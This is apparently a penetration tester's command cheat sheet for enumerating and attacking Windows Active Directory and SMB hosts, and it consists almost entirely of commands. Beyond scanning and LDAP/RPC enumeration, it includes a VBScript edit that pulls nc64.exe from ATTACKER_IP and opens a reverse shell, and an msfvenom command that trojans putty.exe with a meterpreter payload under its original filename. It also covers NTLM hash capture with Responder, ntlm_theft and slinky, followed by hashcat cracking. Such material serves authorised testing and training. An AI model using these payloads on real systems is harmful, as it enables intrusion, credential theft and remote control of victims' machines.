Enumeration

ports=$(rustscan -a $TARGET_IP -r 1-65535 --ulimit 5000 -- -Pn -n \
  | awk '/^Open / {split($2,a,":"); print a[2]}' \
  | paste -sd "," -)
nmap -Pn -p $ports -sV -sC --script vuln -v $TARGET_IP -oN nmap_full.txt

nmap -T4 -A -p- $TARGET_IP -oN nmap_full.txt
nmap -sV -sC -p 53,88,135,139,389,445,464,636,3268,3269,5985,9389 $TARGET_IP

nxc smb $TARGET_IP/24
nxc smb $TARGET_IP/24 -u '' -p '' --shares
nxc smb $TARGET_IP/24 -u 'guest' -p '' --shares

nxc smb $TARGET_IP/24 -u $USERNAME -p $PASSWORD --shares
nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD --spider_plus   # index all shares recursively

smbclient -L //10.10.10.10 -N                          # anonymous
smbclient -L //10.10.10.10 -U 'DOMAIN\username%password'

smbclient //10.10.10.10/backup -N
smbclient //10.10.10.10/backup -U 'DOMAIN\username%password'
# inside smb prompt:
prompt off      # no confirmation when downloading
recurse on      # download all files recursively
mget *

smbclient -c 'put myservice.exe' -U ZA '//DOMAIN/admin$/' password

nmap --script smb-enum-shares.nse -p445 $TARGET_IP
nmap --script smb-brute -p 445 $TARGET_IP
nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 $TARGET_IP
nmap --script smb-vuln* -p445 $TARGET_IP     # CVE checks (EternalBlue, MS17-010, ...)

smbmap -H $TARGET_IP                                # anonymous
smbmap -H $TARGET_IP -u $USERNAME -p $PASSWORD      # with credentials
smbmap -H $TARGET_IP -u $USERNAME -p $PASSWORD -R   # recursive
smbmap -H $TARGET_IP -u $USERNAME -p $PASSWORD --download 'share\file.txt'

python3 ~/Tools/ntlm_theft/ntlm_theft.py -g all -s $ATTACKER_IP -f test

smbclient //$TARGET_IP/data -U ''
put test/test-(icon).url

sudo responder -I tun0 -wd
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

sudo nano /usr/share/responder/Responder.conf
sudo responder -I eth0 -wd

nxc smb 192.168.57.198 -d marvel.local -u fcastle -p Password1 \
  -M slinky -o NAME=@important SERVER=192.168.57.70 SHARES=C$ IGNORE=IPC$

hashcat -m 5600 hashes/captured.txt /usr/share/wordlists/rockyou.txt

smbclient //$TARGET_IP/share
get script.vbs
put nc64.exe
# edit script.vbs → add:
# CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\ATTACKER_IP\share\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe ATTACKER_IP 1234", 0, True
put script.vbs
nc -lvnp 1234

# Use the same filename as the original
msfvenom -a x64 --platform windows -x putty.exe -k \
  -p windows/meterpreter/reverse_tcp lhost=$ATTACKER_IP lport=4444 \
  -b "\x00" -f exe -o putty.exe
smbclient //$TARGET_IP/share
put putty.exe

enum4linux -a $TARGET_IP    # full scan
enum4linux -U -S $TARGET_IP # fast: users + shares

enum4linux -a $TARGET_IP -u username -p password    # full
enum4linux -U -S -u username -p password $TARGET_IP # fast

nxc smb $TARGET_IP -u '' -p '' --rid > users.txt
nxc smb $TARGET_IP -u 'guest' -p '' --rid > users.txt
nxc smb $TARGET_IP -u '' -p '' --rid --no-brute > users.txt

grep 'SidTypeUser' users.txt | awk -F'\\\\' '{print $2}' | awk '{print $1}' | grep -v '\$' > usernames.txt

nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD --users
nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD --users-export users.txt
nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD --loggedon-users
nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD --groups

nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --users
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --active-users
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --groups
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --groups 'Domain Admins'
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --password-not-required   # accounts without password

nxc ldap $TARGET_IP -u '' -p '' --users
nxc ldap $TARGET_IP -u '' -p '' --query "(description=*)" "sAMAccountName description"

nxc smb $TARGET_IP -u $USERNAME -H 'NTLMHASH' --users
nxc smb $TARGET_IP -u $USERNAME -H 'NTLMHASH' --local-auth

python3 username_generator.py -w users.txt > ad_users.txt

ldapdomaindump ldap://$DC_IP$ -o /tmp/dump                           # anonymous
ldapdomaindump ldaps://$DC_IP$ -u '$DOMAIN\username' -p 'password' -o /tmp/dump

ldapsearch -x -H ldap://$TARGET_IP \
  -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" > ldap_dump.txt

ldapsearch -x -H ldap://$TARGET_IP \
  -D "$USERNAME@$DOMAIN" -w "$PASSWORD" \
  -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" > ldap_dump.txt

ldapsearch -x -H ldap://$TARGET_IP -D "$USERNAME@$DOMAIN" -w "$PASSWORD" \
  -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(sAMAccountName=$USERNAME)" memberOf

ldapsearch -x -H ldap://$TARGET_IP -D "$USERNAME@$DOMAIN" -w "$PASSWORD" \
  -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(&(objectClass=user)(userPassword=*))"

ldapsearch -x -H ldap://$TARGET_IP -D "$USERNAME@$DOMAIN" -w "$PASSWORD" \
  -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" \
  "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

rpcclient -U '' -N $TARGET_IP
rpcclient -U "$USERNAME%$PASSWORD" $TARGET_IP

enumdomusers            # all users
enumdomgroups           # all groups
querygroup 0x200        # info on group (RID in hex)
queryuser 0x1f4         # info on user (500 = Administrator)
enumdomains             # list domains
querydominfo            # domain info
getdompwinfo            # password policy
lsaenumsid              # all SIDs
lookupnames admin        # SID of a user

kerbrute userenum --dc $TARGET_IP -d $DOMAIN usernames.txt -o valid_users.txt
kerbrute userenum --dc $TARGET_IP -d $DOMAIN /usr/share/seclists/Usernames/Names/names.txt

bloodhound-python -d $DOMAIN -ns $TARGET_IP -u $USERNAME -p $PASSWORD -c ALL --zip

# Look for: GenericAll, ForceChangePassword, AllowedToDelegate, ESC1, Unconstrained